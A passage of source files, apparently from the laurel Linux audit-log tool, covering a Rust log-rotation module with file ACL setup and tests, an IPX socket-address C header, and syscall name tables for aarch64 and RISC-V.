[`FileRotate`] rotates the file after `filesize` bytes have been 11 | /// written to the main file. Up to `num_files` generations of backup 12 | /// files are kept around. 13 | pub struct FileRotate { 14 | /// The name for the main file. For backup generations, `.1`, 15 | /// `.2`, `.3` etc. are appended to this file name. 16 | pub basename: OsString, 17 | /// When a [`write`] operation causes the main file to reach this 18 | /// size, a [`FileRotate::rotate`] operation is triggered. 19 | pub filesize: u64, 20 | pub generations: u64, 21 | pub users: Vec, 22 | pub groups: Vec, 23 | pub other: bool, 24 | file: Option, 25 | offset: u64, 26 | } 27 | 28 | fn ignore_missing(e: Error) -> Result<()> { 29 | if e.kind() == std::io::ErrorKind::NotFound { 30 | Ok(()) 31 | } else { 32 | Err(e) 33 | } 34 | } 35 | 36 | impl FileRotate { 37 | /// Creates a new [`FileRotate`] instance. This does not involve 38 | /// any I/O operations; the main file is only created when calling 39 | /// [`write`]. 40 | pub fn new>(path: P) -> Self { 41 | FileRotate { 42 | basename: OsString::from(path.as_ref()), 43 | filesize: 0, 44 | generations: 0, 45 | users: vec![], 46 | groups: vec![], 47 | other: false, 48 | file: None, 49 | offset: 0, 50 | } 51 | } 52 | 53 | pub fn with_filesize(mut self, p: u64) -> Self { 54 | self.filesize = p; 55 | self 56 | } 57 | pub fn with_generations(mut self, p: u64) -> Self { 58 | self.generations = p; 59 | self 60 | } 61 | pub fn with_user(mut self, user: &str) -> Self { 62 | self.users.push(user.into()); 63 | self 64 | } 65 | pub fn with_group(mut self, group: &str) -> Self { 66 | self.groups.push(group.into()); 67 | self 68 | } 69 | pub fn with_other(mut self, other: bool) -> Self { 70 | self.other = other; 71 | self 72 | } 73 | 74 | /// Closes the main file and performs a backup file rotation 75 | pub fn rotate(&mut self) -> Result<()> { 76 | log::info!("Rotating {}", self.basename.to_string_lossy()); 77 | if self.generations == 0 { 78 | fs::remove_file(&self.basename).or_else(ignore_missing)?; 79 | return Ok(()); 80 | } 81 | for suffix in (0..self.generations).rev() { 82 | let mut old = self.basename.clone(); 83 | match suffix { 84 | 0 => (), 85 | _ => old.push(format!(".{suffix}")), 86 | }; 87 | let mut new = self.basename.clone(); 88 | new.push(format!(".{}", suffix + 1)); 89 | if fs::metadata(&old).is_ok() { 90 | fs::rename(old, new).or_else(ignore_missing)?; 91 | } 92 | } 93 | self.file = None; 94 | Ok(()) 95 | } 96 | 97 | /// Opens main file, re-using existing file if prersent. 98 | /// 99 | /// If the file does not exist, a new temporary file is crerated, 100 | /// permissions are adjusted, and it is renamed to the final 101 | /// destination. 102 | fn open(&mut self) -> Result<()> { 103 | let mut acl = vec![ 104 | AclEntry::allow_user("", Perm::from_bits_truncate(6), None), 105 | AclEntry::allow_group("", Perm::from_bits_truncate(4), None), 106 | #[cfg(any(target_os = "linux", target_os = "freebsd"))] 107 | AclEntry::allow_other( 108 | if self.other { 109 | Perm::READ 110 | } else { 111 | Perm::empty() 112 | }, 113 | None, 114 | ), 115 | ]; 116 | for user in &self.users { 117 | acl.push(AclEntry::allow_user(user, Perm::READ, None)); 118 | } 119 | for group in &self.groups { 120 | acl.push(AclEntry::allow_group(group, Perm::READ, None)); 121 | } 122 | 123 | if let Ok(mut f) = OpenOptions::new().append(true).open(&self.basename) { 124 | setfacl(&[&self.basename], &acl, None).map_err(|e| Error::new(e.kind(), e))?; 125 | 126 | self.offset = f.seek(SeekFrom::End(0))?; 127 | self.file = Some(f); 128 | } else { 129 | let mut tmp = self.basename.clone(); 130 | tmp.push(".tmp"); 131 | 132 | remove_file(&tmp).or_else(|e| match e.kind() { 133 | std::io::ErrorKind::NotFound => Ok(()), 134 | _ => Err(e), 135 | })?; 136 | 137 | let f = OpenOptions::new() 138 | .create_new(true) 139 | .mode(0o600) 140 | .append(true) 141 | .open(&tmp)?; 142 | 143 | setfacl(&[&tmp], &acl, None).map_err(|e| Error::new(e.kind(), e))?; 144 | 145 | rename(&tmp, &self.basename)?; 146 | 147 | self.offset = 0; 148 | self.file = Some(f); 149 | } 150 | Ok(()) 151 | } 152 | } 153 | 154 | impl Write for FileRotate { 155 | fn write(&mut self, buf: &[u8]) -> Result { 156 | if self.file.is_none() { 157 | self.open()?; 158 | } 159 | let mut f = self.file.as_ref().unwrap(); 160 | let sz = f.write(buf)?; 161 | self.offset += sz as u64; 162 | if self.offset > self.filesize && self.filesize != 0 && buf.last() == Some(&b'\n') { 163 | f.sync_all()?; 164 | self.rotate()?; 165 | } 166 | Ok(sz) 167 | } 168 | fn flush(&mut self) -> Result<()> { 169 | match self.file.as_ref() { 170 | Some(mut f) => f.flush(), 171 | None => Ok(()), 172 | } 173 | } 174 | } 175 | 176 | #[cfg(test)] 177 | mod test { 178 | use super::*; 179 | use nix::unistd::mkdtemp; 180 | use std::env::temp_dir; 181 | #[test] 182 | fn fresh_file() { 183 | let td = mkdtemp(&temp_dir().join("laurel-test-XXXXXXXX")).expect("can't create temp dir"); 184 | let mut fr = FileRotate::new(td.join("logfile")); 185 | fr.rotate().expect("rotate"); 186 | fr.write(b"asdf").expect("write"); 187 | fr.flush().expect("flush"); 188 | std::fs::remove_dir_all(td).expect("remove_dir_all"); 189 | } 190 | 191 | #[test] 192 | fn existing() { 193 | let td = mkdtemp(&temp_dir().join("laurel-test-XXXXXXXX")).expect("can't create temp dir"); 194 | std::fs::write(&td.join("logfile"), "asdf").expect("setup"); 195 | let mut fr = FileRotate::new(&td.join("logfile")).with_generations(3); 196 | fr.rotate().expect("rotate"); 197 | assert!( 198 | td.join("logfile.1").exists(), 199 | "after rotate, logfile.1 should exist" 200 | ); 201 | assert!( 202 | !td.join("logfile").exists(), 203 | "after rotate, logfile should no longer exist" 204 | ); 205 | fr.write(b"asdf").expect("write"); 206 | fr.flush().expect("flush"); 207 | assert!( 208 | td.join("logfile").exists(), 209 | "after rotate+write, logfile should exist" 210 | ); 211 | std::fs::remove_dir_all(td).expect("remove_dir_all"); 212 | } 213 | } 214 | -------------------------------------------------------------------------------- /src/sockaddr.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | // #include 9 | #include 10 | #include 11 | // #include 12 | // #include 13 | #include 14 | // #include 15 | #include 16 | // #include 17 | #include 18 | #include 19 | #include 20 | // #include 21 | #include 22 | // #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | #include 29 | 30 | /* Apparently, ipx.h is no longer generally available. */ 31 | 32 | #define IPX_NODE_LEN 6 33 | 34 | struct sockaddr_ipx 35 | { 36 | sa_family_t sipx_family; 37 | uint16_t sipx_port; 38 | uint32_t sipx_network; 39 | unsigned char sipx_node[IPX_NODE_LEN]; 40 | uint8_t sipx_type; 41 | unsigned char sipx_zero; 42 | }; 43 | -------------------------------------------------------------------------------- /src/tbl/README.md: -------------------------------------------------------------------------------- 1 | The `*.h` files in this directory have been copied from the [Linux-audit userspace](https://github.com/linux-audit/audit-userspace) repository. 2 | -------------------------------------------------------------------------------- /src/tbl/syscall/aarch64_table.h: -------------------------------------------------------------------------------- 1 | /* aarch64_table.h -- 2 | * Copyright 2013-24 Red Hat Inc. 3 | * All Rights Reserved. 4 | * 5 | * This library is free software; you can redistribute it and/or 6 | * modify it under the terms of the GNU Lesser General Public 7 | * License as published by the Free Software Foundation; either 8 | * version 2.1 of the License, or (at your option) any later version. 9 | * 10 | * This library is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | * Lesser General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU Lesser General Public 16 | * License along with this library; if not, write to the Free Software 17 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 18 | * 19 | * Authors: 20 | * Steve Grubb 21 | */ 22 | 23 | _S(0, "io_setup") 24 | _S(1, "io_destroy") 25 | _S(2, "io_submit") 26 | _S(3, "io_cancel") 27 | _S(4, "io_getevents") 28 | _S(5, "setxattr") 29 | _S(6, "lsetxattr") 30 | _S(7, "fsetxattr") 31 | _S(8, "getxattr") 32 | _S(9, "lgetxattr") 33 | _S(10, "fgetxattr") 34 | _S(11, "listxattr") 35 | _S(12, "llistxattr") 36 | _S(13, "flistxattr") 37 | _S(14, "removexattr") 38 | _S(15, "lremovexattr") 39 | _S(16, "fremovexattr") 40 | _S(17, "getcwd") 41 | _S(18, "lookup_dcookie") 42 | _S(19, "eventfd2") 43 | _S(20, "epoll_create1") 44 | _S(21, "epoll_ctl") 45 | _S(22, "epoll_pwait") 46 | _S(23, "dup") 47 | _S(24, "dup3") 48 | _S(25, "fcntl") 49 | _S(26, "inotify_init1") 50 | _S(27, "inotify_add_watch") 51 | _S(28, "inotify_rm_watch") 52 | _S(29, "ioctl") 53 | _S(30, "ioprio_set") 54 | _S(31, "ioprio_get") 55 | _S(32, "flock") 56 | _S(33, "mknodat") 57 | _S(34, "mkdirat") 58 | _S(35, "unlinkat") 59 | _S(36, "symlinkat") 60 | _S(37, "linkat") 61 | _S(38, "renameat") 62 | _S(39, "umount2") 63 | _S(40, "mount") 64 | _S(41, "pivot_root") 65 | _S(42, "nfsservctl") 66 | _S(43, "statfs") 67 | _S(44, "fstatfs") 68 | _S(45, "truncate") 69 | _S(46, "ftruncate") 70 | _S(47, "fallocate") 71 | _S(48, "faccessat") 72 | _S(49, "chdir") 73 | _S(50, "fchdir") 74 | _S(51, "chroot") 75 | _S(52, "fchmod") 76 | _S(53, "fchmodat") 77 | _S(54, "fchownat") 78 | _S(55, "fchown") 79 | _S(56, "openat") 80 | _S(57, "close") 81 | _S(58, "vhangup") 82 | _S(59, "pipe2") 83 | _S(60, "quotactl") 84 | _S(61, "getdents") 85 | _S(62, "lseek") 86 | _S(63, "read") 87 | _S(64, "write") 88 | _S(65, "readv") 89 | _S(66, "writev") 90 | _S(67, "pread") 91 | _S(68, "pwrite") 92 | _S(69, "preadv") 93 | _S(70, "pwritev") 94 | _S(71, "sendfile") 95 | _S(72, "pselect6") 96 | _S(73, "ppoll") 97 | _S(74, "signalfd4") 98 | _S(75, "vmsplice") 99 | _S(76, "splice") 100 | _S(77, "tee") 101 | _S(78, "readlinkat") 102 | _S(79, "newfstatat") 103 | _S(80, "newfstat") 104 | _S(81, "sync") 105 | _S(82, "fsync") 106 | _S(83, "fdatasync") 107 | _S(84, "sync_file_range") 108 | _S(85, "timerfd_create") 109 | _S(86, "timerfd_settime") 110 | _S(87, "timerfd_gettime") 111 | _S(88, "utimensat") 112 | _S(89, "acct") 113 | _S(90, "capget") 114 | _S(91, "capset") 115 | _S(92, "personality") 116 | _S(93, "exit") 117 | _S(94, "exit_group") 118 | _S(95, "waitid") 119 | _S(96, "set_tid_address") 120 | _S(97, "unshare") 121 | _S(98, "futex") 122 | _S(99, "set_robust_list") 123 | _S(100, "get_robust_list") 124 | _S(101, "nanosleep") 125 | _S(102, "getitimer") 126 | _S(103, "setitimer") 127 | _S(104, "kexec_load") 128 | _S(105, "init_module") 129 | _S(106, "delete_module") 130 | _S(107, "timer_create") 131 | _S(108, "timer_gettime") 132 | _S(109, "timer_getoverrun") 133 | _S(110, "timer_settime") 134 | _S(111, "timer_delete") 135 | _S(112, "clock_settime") 136 | _S(113, "clock_gettime") 137 | _S(114, "clock_getres") 138 | _S(115, "clock_nanosleep") 139 | _S(116, "syslog") 140 | _S(117, "ptrace") 141 | _S(118, "sched_setparam") 142 | _S(119, "sched_setscheduler") 143 | _S(120, "sched_getscheduler") 144 | _S(121, "sched_getparam") 145 | _S(122, "sched_setaffinity") 146 | _S(123, "sched_getaffinity") 147 | _S(124, "sched_yield") 148 | _S(125, "sched_get_priority_max") 149 | _S(126, "sched_get_priority_min") 150 | _S(127, "sched_rr_get_interval") 151 | _S(128, "restart_syscall") 152 | _S(129, "kill") 153 | _S(130, "tkill") 154 | _S(131, "tgkill") 155 | _S(132, "sigaltstack") 156 | _S(133, "rt_sigsuspend") 157 | _S(134, "rt_sigaction") 158 | _S(135, "rt_sigprocmask") 159 | _S(136, "rt_sigpending") 160 | _S(137, "rt_sigtimedwait") 161 | _S(138, "rt_sigqueueinfo") 162 | _S(139, "rt_sigreturn") 163 | _S(140, "setpriority") 164 | _S(141, "getpriority") 165 | _S(142, "reboot") 166 | _S(143, "setregid") 167 | _S(144, "setgid") 168 | _S(145, "setreuid") 169 | _S(146, "setuid") 170 | _S(147, "setresuid") 171 | _S(148, "getresuid") 172 | _S(149, "setresgid") 173 | _S(150, "getresgid") 174 | _S(151, "setfsuid") 175 | _S(152, "setfsgid") 176 | _S(153, "times") 177 | _S(154, "setpgid") 178 | _S(155, "getpgid") 179 | _S(156, "getsid") 180 | _S(157, "setsid") 181 | _S(158, "getgroups") 182 | _S(159, "setgroups") 183 | _S(160, "uname") 184 | _S(161, "sethostname") 185 | _S(162, "setdomainname") 186 | _S(163, "getrlimit") 187 | _S(164, "setrlimit") 188 | _S(165, "getrusage") 189 | _S(166, "umask") 190 | _S(167, "prctl") 191 | _S(168, "getcpu") 192 | _S(169, "gettimeofday") 193 | _S(170, "settimeofday") 194 | _S(171, "adjtimex") 195 | _S(172, "getpid") 196 | _S(173, "getppid") 197 | _S(174, "getuid") 198 | _S(175, "geteuid") 199 | _S(176, "getgid") 200 | _S(177, "getegid") 201 | _S(178, "gettid") 202 | _S(179, "sysinfo") 203 | _S(180, "mq_open") 204 | _S(181, "mq_unlink") 205 | _S(182, "mq_timedsend") 206 | _S(183, "mq_timedreceive") 207 | _S(184, "mq_notify") 208 | _S(185, "mq_getsetattr") 209 | _S(186, "msgget") 210 | _S(187, "msgctl") 211 | _S(188, "msgrcv") 212 | _S(189, "msgsnd") 213 | _S(190, "semget") 214 | _S(191, "semctl") 215 | _S(192, "semtimedop") 216 | _S(193, "semop") 217 | _S(194, "shmget") 218 | _S(195, "shmctl") 219 | _S(196, "shmat") 220 | _S(197, "shmdt") 221 | _S(198, "socket") 222 | _S(199, "socketpair") 223 | _S(200, "bind") 224 | _S(201, "listen") 225 | _S(202, "accept") 226 | _S(203, "connect") 227 | _S(204, "getsockname") 228 | _S(205, "getpeername") 229 | _S(206, "sendto") 230 | _S(207, "recvfrom") 231 | _S(208, "setsockopt") 232 | _S(209, "getsockopt") 233 | _S(210, "shutdown") 234 | _S(211, "sendmsg") 235 | _S(212, "recvmsg") 236 | _S(213, "readahead") 237 | _S(214, "brk") 238 | _S(215, "munmap") 239 | _S(216, "mremap") 240 | _S(217, "add_key") 241 | _S(218, "request_key") 242 | _S(219, "keyctl") 243 | _S(220, "clone") 244 | _S(221, "execve") 245 | _S(222, "mmap") 246 | _S(223, "fadvise64") 247 | _S(224, "swapon") 248 | _S(225, "swapoff") 249 | _S(226, "mprotect") 250 | _S(227, "msync") 251 | _S(228, "mlock") 252 | _S(229, "munlock") 253 | _S(230, "mlockall") 254 | _S(231, "munlockall") 255 | _S(232, "mincore") 256 | _S(233, "madvise") 257 | _S(234, "remap_file_pages") 258 | _S(235, "mbind") 259 | _S(236, "get_mempolicy") 260 | _S(237, "set_mempolicy") 261 | _S(238, "migrate_pages") 262 | _S(239, "move_pages") 263 | _S(240, "rt_tgsigqueueinfo") 264 | _S(241, "perf_event_open") 265 | _S(242, "accept4") 266 | _S(243, "recvmmsg") 267 | _S(260, "wait4") 268 | _S(261, "prlimit64") 269 | _S(262, "fanotify_init") 270 | _S(263, "fanotify_mark") 271 | _S(264, "name_to_handle_at") 272 | _S(265, "open_by_handle_at") 273 | _S(266, "clock_adjtime") 274 | _S(267, "syncfs") 275 | _S(268, "setns") 276 | _S(269, "sendmmsg") 277 | _S(270, "process_vm_readv") 278 | _S(271, "process_vm_writev") 279 | _S(272, "kcmp") 280 | _S(273, "finit_module") 281 | _S(274, "sched_setattr") 282 | _S(275, "sched_getattr") 283 | _S(276, "renameat2") 284 | _S(277, "seccomp") 285 | _S(278, "getrandom") 286 | _S(279, "memfd_create") 287 | _S(280, "bpf") 288 | _S(281, "execveat") 289 | _S(282, "userfaultfd") 290 | _S(283, "membarrier") 291 | _S(284, "mlock2") 292 | _S(285, "copy_file_range") 293 | _S(286, "preadv2") 294 | _S(287, "pwritev2") 295 | _S(288, "pkey_mprotect") 296 | _S(289, "pkey_alloc") 297 | _S(290, "pkey_free") 298 | _S(291, "statx") 299 | _S(292, "io_pgetevents") 300 | _S(293, "rseq") 301 | _S(294, "kexec_file_load") 302 | _S(424, "pidfd_send_signal") 303 | _S(425, "io_uring_setup") 304 | _S(426, "io_uring_enter") 305 | _S(427, "io_uring_register") 306 | _S(428, "open_tree") 307 | _S(429, "move_mount") 308 | _S(430, "fsopen") 309 | _S(431, "fsconfig") 310 | _S(432, "fsmount") 311 | _S(433, "fspick") 312 | _S(434, "pidfd_open") 313 | _S(435, "clone3") 314 | _S(436, "close_range") 315 | _S(437, "openat2") 316 | _S(438, "pidfd_getfd") 317 | _S(439, "faccessat2") 318 | _S(440, "process_madvise") 319 | _S(441, "epoll_pwait2") 320 | _S(442, "mount_setattr") 321 | _S(443, "quotactl_fd") 322 | _S(444, "landlock_create_ruleset") 323 | _S(445, "landlock_add_rule") 324 | _S(446, "landlock_restrict_self") 325 | _S(447, "memfd_secret") 326 | _S(448, "process_mrelease") 327 | _S(449, "futex_waitv") 328 | _S(450, "set_mempolicy_home_node") 329 | _S(451, "cachestat") 330 | _S(452, "fchmodat2") 331 | _S(453, "map_shadow_stack") 332 | _S(454, "futex_wake") 333 | _S(455, "futex_wait") 334 | _S(456, "futex_requeue") 335 | _S(457, "statmount") 336 | _S(458, "listmount") 337 | _S(459, "lsm_get_self_attr") 338 | _S(460, "lsm_set_self_attr") 339 | _S(461, "lsm_list_modules") 340 | _S(462, "mseal") 341 | _S(463, "setxattrat") 342 | _S(464, "getxattrat") 343 | _S(465, "listxattrat") 344 | _S(466, "removexattrat") 345 | _S(467, "open_tree_attr") 346 | -------------------------------------------------------------------------------- /src/tbl/syscall/riscv32_table.h: -------------------------------------------------------------------------------- 1 | /* riscv32_table.h -- 2 | * Copyright 2024 Rivos Inc. 3 | * All Rights Reserved. 4 | * 5 | * This library is free software; you can redistribute it and/or 6 | * modify it under the terms of the GNU Lesser General Public 7 | * License as published by the Free Software Foundation; either 8 | * version 2.1 of the License, or (at your option) any later version. 9 | * 10 | * This library is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | * Lesser General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU Lesser General Public 16 | * License along with this library; if not, write to the Free Software 17 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 18 | * 19 | * Authors: 20 | * David Abdurachmanov 21 | */ 22 | 23 | _S(0, "io_setup") 24 | _S(1, "io_destroy") 25 | _S(2, "io_submit") 26 | _S(3, "io_cancel") 27 | _S(5, "setxattr") 28 | _S(6, "lsetxattr") 29 | _S(7, "fsetxattr") 30 | _S(8, "getxattr") 31 | _S(9, "lgetxattr") 32 | _S(10, "fgetxattr") 33 | _S(11, "listxattr") 34 | _S(12, "llistxattr") 35 | _S(13, "flistxattr") 36 | _S(14, "removexattr") 37 | _S(15, "lremovexattr") 38 | _S(16, "fremovexattr") 39 | _S(17, "getcwd") 40 | _S(18, "lookup_dcookie") 41 | _S(19, "eventfd2") 42 | _S(20, "epoll_create1") 43 | _S(21, "epoll_ctl") 44 | _S(22, "epoll_pwait") 45 | _S(23, "dup") 46 | _S(24, "dup3") 47 | _S(25, "fcntl64") 48 | _S(26, "inotify_init1") 49 | _S(27, "inotify_add_watch") 50 | _S(28, "inotify_rm_watch") 51 | _S(29, "ioctl") 52 | _S(30, "ioprio_set") 53 | _S(31, "ioprio_get") 54 | _S(32, "flock") 55 | _S(33, "mknodat") 56 | _S(34, "mkdirat") 57 | _S(35, "unlinkat") 58 | _S(36, "symlinkat") 59 | _S(37, "linkat") 60 | _S(39, "umount2") 61 | _S(40, "mount") 62 | _S(41, "pivot_root") 63 | _S(42, "nfsservctl") 64 | _S(43, "statfs64") 65 | _S(44, "fstatfs64") 66 | _S(45, "truncate64") 67 | _S(46, "ftruncate64") 68 | _S(47, "fallocate") 69 | _S(48, "faccessat") 70 | _S(49, "chdir") 71 | _S(50, "fchdir") 72 | _S(51, "chroot") 73 | _S(52, "fchmod") 74 | _S(53, "fchmodat") 75 | _S(54, "fchownat") 76 | _S(55, "fchown") 77 | _S(56, "openat") 78 | _S(57, "close") 79 | _S(58, "vhangup") 80 | _S(59, "pipe2") 81 | _S(60, "quotactl") 82 | _S(61, "getdents64") 83 | _S(62, "llseek") 84 | _S(63, "read") 85 | _S(64, "write") 86 | _S(65, "readv") 87 | _S(66, "writev") 88 | _S(67, "pread64") 89 | _S(68, "pwrite64") 90 | _S(69, "preadv") 91 | _S(70, "pwritev") 92 | _S(71, "sendfile64") 93 | _S(74, "signalfd4") 94 | _S(75, "vmsplice") 95 | _S(76, "splice") 96 | _S(77, "tee") 97 | _S(78, "readlinkat") 98 | _S(81, "sync") 99 | _S(82, "fsync") 100 | _S(83, "fdatasync") 101 | _S(84, "sync_file_range") 102 | _S(85, "timerfd_create") 103 | _S(89, "acct") 104 | _S(90, "capget") 105 | _S(91, "capset") 106 | _S(92, "personality") 107 | _S(93, "exit") 108 | _S(94, "exit_group") 109 | _S(95, "waitid") 110 | _S(96, "set_tid_address") 111 | _S(97, "unshare") 112 | _S(99, "set_robust_list") 113 | _S(100, "get_robust_list") 114 | _S(102, "getitimer") 115 | _S(103, "setitimer") 116 | _S(104, "kexec_load") 117 | _S(105, "init_module") 118 | _S(106, "delete_module") 119 | _S(107, "timer_create") 120 | _S(109, "timer_getoverrun") 121 | _S(111, "timer_delete") 122 | _S(116, "syslog") 123 | _S(117, "ptrace") 124 | _S(118, "sched_setparam") 125 | _S(119, "sched_setscheduler") 126 | _S(120, "sched_getscheduler") 127 | _S(121, "sched_getparam") 128 | _S(122, "sched_setaffinity") 129 | _S(123, "sched_getaffinity") 130 | _S(124, "sched_yield") 131 | _S(125, "sched_get_priority_max") 132 | _S(126, "sched_get_priority_min") 133 | _S(128, "restart_syscall") 134 | _S(129, "kill") 135 | _S(130, "tkill") 136 | _S(131, "tgkill") 137 | _S(132, "sigaltstack") 138 | _S(133, "rt_sigsuspend") 139 | _S(134, "rt_sigaction") 140 | _S(135, "rt_sigprocmask") 141 | _S(136, "rt_sigpending") 142 | _S(138, "rt_sigqueueinfo") 143 | _S(139, "rt_sigreturn") 144 | _S(140, "setpriority") 145 | _S(141, "getpriority") 146 | _S(142, "reboot") 147 | _S(143, "setregid") 148 | _S(144, "setgid") 149 | _S(145, "setreuid") 150 | _S(146, "setuid") 151 | _S(147, "setresuid") 152 | _S(148, "getresuid") 153 | _S(149, "setresgid") 154 | _S(150, "getresgid") 155 | _S(151, "setfsuid") 156 | _S(152, "setfsgid") 157 | _S(153, "times") 158 | _S(154, "setpgid") 159 | _S(155, "getpgid") 160 | _S(156, "getsid") 161 | _S(157, "setsid") 162 | _S(158, "getgroups") 163 | _S(159, "setgroups") 164 | _S(160, "uname") 165 | _S(161, "sethostname") 166 | _S(162, "setdomainname") 167 | _S(165, "getrusage") 168 | _S(166, "umask") 169 | _S(167, "prctl") 170 | _S(168, "getcpu") 171 | _S(172, "getpid") 172 | _S(173, "getppid") 173 | _S(174, "getuid") 174 | _S(175, "geteuid") 175 | _S(176, "getgid") 176 | _S(177, "getegid") 177 | _S(178, "gettid") 178 | _S(179, "sysinfo") 179 | _S(180, "mq_open") 180 | _S(181, "mq_unlink") 181 | _S(184, "mq_notify") 182 | _S(185, "mq_getsetattr") 183 | _S(186, "msgget") 184 | _S(187, "msgctl") 185 | _S(188, "msgrcv") 186 | _S(189, "msgsnd") 187 | _S(190, "semget") 188 | _S(191, "semctl") 189 | _S(193, "semop") 190 | _S(194, "shmget") 191 | _S(195, "shmctl") 192 | _S(196, "shmat") 193 | _S(197, "shmdt") 194 | _S(198, "socket") 195 | _S(199, "socketpair") 196 | _S(200, "bind") 197 | _S(201, "listen") 198 | _S(202, "accept") 199 | _S(203, "connect") 200 | _S(204, "getsockname") 201 | _S(205, "getpeername") 202 | _S(206, "sendto") 203 | _S(207, "recvfrom") 204 | _S(208, "setsockopt") 205 | _S(209, "getsockopt") 206 | _S(210, "shutdown") 207 | _S(211, "sendmsg") 208 | _S(212, "recvmsg") 209 | _S(213, "readahead") 210 | _S(214, "brk") 211 | _S(215, "munmap") 212 | _S(216, "mremap") 213 | _S(217, "add_key") 214 | _S(218, "request_key") 215 | _S(219, "keyctl") 216 | _S(220, "clone") 217 | _S(221, "execve") 218 | _S(222, "mmap2") 219 | _S(223, "fadvise64_64") 220 | _S(224, "swapon") 221 | _S(225, "swapoff") 222 | _S(226, "mprotect") 223 | _S(227, "msync") 224 | _S(228, "mlock") 225 | _S(229, "munlock") 226 | _S(230, "mlockall") 227 | _S(231, "munlockall") 228 | _S(232, "mincore") 229 | _S(233, "madvise") 230 | _S(234, "remap_file_pages") 231 | _S(235, "mbind") 232 | _S(236, "get_mempolicy") 233 | _S(237, "set_mempolicy") 234 | _S(238, "migrate_pages") 235 | _S(239, "move_pages") 236 | _S(240, "rt_tgsigqueueinfo") 237 | _S(241, "perf_event_open") 238 | _S(242, "accept4") 239 | _S(258, "riscv_hwprobe") 240 | _S(259, "riscv_flush_icache") 241 | _S(261, "prlimit64") 242 | _S(262, "fanotify_init") 243 | _S(263, "fanotify_mark") 244 | _S(264, "name_to_handle_at") 245 | _S(265, "open_by_handle_at") 246 | _S(267, "syncfs") 247 | _S(268, "setns") 248 | _S(269, "sendmmsg") 249 | _S(270, "process_vm_readv") 250 | _S(271, "process_vm_writev") 251 | _S(272, "kcmp") 252 | _S(273, "finit_module") 253 | _S(274, "sched_setattr") 254 | _S(275, "sched_getattr") 255 | _S(276, "renameat2") 256 | _S(277, "seccomp") 257 | _S(278, "getrandom") 258 | _S(279, "memfd_create") 259 | _S(280, "bpf") 260 | _S(281, "execveat") 261 | _S(282, "userfaultfd") 262 | _S(283, "membarrier") 263 | _S(284, "mlock2") 264 | _S(285, "copy_file_range") 265 | _S(286, "preadv2") 266 | _S(287, "pwritev2") 267 | _S(288, "pkey_mprotect") 268 | _S(289, "pkey_alloc") 269 | _S(290, "pkey_free") 270 | _S(291, "statx") 271 | _S(293, "rseq") 272 | _S(294, "kexec_file_load") 273 | _S(403, "clock_gettime64") 274 | _S(404, "clock_settime64") 275 | _S(405, "clock_adjtime64") 276 | _S(406, "clock_getres_time64") 277 | _S(407, "clock_nanosleep_time64") 278 | _S(408, "timer_gettime64") 279 | _S(409, "timer_settime64") 280 | _S(410, "timerfd_gettime64") 281 | _S(411, "timerfd_settime64") 282 | _S(412, "utimensat_time64") 283 | _S(413, "pselect6_time64") 284 | _S(414, "ppoll_time64") 285 | _S(416, "io_pgetevents_time64") 286 | _S(417, "recvmmsg_time64") 287 | _S(418, "mq_timedsend_time64") 288 | _S(419, "mq_timedreceive_time64") 289 | _S(420, "semtimedop_time64") 290 | _S(421, "rt_sigtimedwait_time64") 291 | _S(422, "futex_time64") 292 | _S(423, "sched_rr_get_interval_time64") 293 | _S(424, "pidfd_send_signal") 294 | _S(425, "io_uring_setup") 295 | _S(426, "io_uring_enter") 296 | _S(427, "io_uring_register") 297 | _S(428, "open_tree") 298 | _S(429, "move_mount") 299 | _S(430, "fsopen") 300 | _S(431, "fsconfig") 301 | _S(432, "fsmount") 302 | _S(433, "fspick") 303 | _S(434, "pidfd_open") 304 | _S(435, "clone3") 305 | _S(436, "close_range") 306 | _S(437, "openat2") 307 | _S(438, "pidfd_getfd") 308 | _S(439, "faccessat2") 309 | _S(440, "process_madvise") 310 | _S(441, "epoll_pwait2") 311 | _S(442, "mount_setattr") 312 | _S(443, "quotactl_fd") 313 | _S(444, "landlock_create_ruleset") 314 | _S(445, "landlock_add_rule") 315 | _S(446, "landlock_restrict_self") 316 | _S(447, "memfd_secret") 317 | _S(448, "process_mrelease") 318 | _S(449, "futex_waitv") 319 | _S(450, "set_mempolicy_home_node") 320 | _S(451, "cachestat") 321 | _S(452, "fchmodat2") 322 | _S(453, "map_shadow_stack") 323 | _S(454, "futex_wake") 324 | _S(455, "futex_wait") 325 | _S(456, "futex_requeue") 326 | _S(457, "statmount") 327 | _S(458, "listmount") 328 | _S(459, "lsm_get_self_attr") 329 | _S(460, "lsm_set_self_attr") 330 | _S(461, "lsm_list_modules") 331 | _S(462, "mseal") 332 | _S(463, "setxattrat") 333 | _S(464, "getxattrat") 334 | _S(465, "listxattrat") 335 | _S(466, "removexattrat") 336 | _S(467, "open_tree_attr") 337 | -------------------------------------------------------------------------------- /src/tbl/syscall/riscv64_table.h: -------------------------------------------------------------------------------- 1 | /* riscv64_table.h -- 2 | * Copyright 2024 Rivos Inc. 3 | * All Rights Reserved. 4 | * 5 | * This library is free software; you can redistribute it and/or 6 | * modify it under the terms of the GNU Lesser General Public 7 | * License as published by the Free Software Foundation; either 8 | * version 2.1 of the License, or (at your option) any later version. 9 | * 10 | * This library is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | * Lesser General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU Lesser General Public 16 | * License along with this library; if not, write to the Free Software 17 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 18 | * 19 | * Authors: 20 | * David Abdurachmanov 21 | */ 22 | 23 | _S(0, "io_setup") 24 | _S(1, "io_destroy") 25 | _S(2, "io_submit") 26 | _S(3, "io_cancel") 27 | _S(4, "io_getevents") 28 | _S(5, 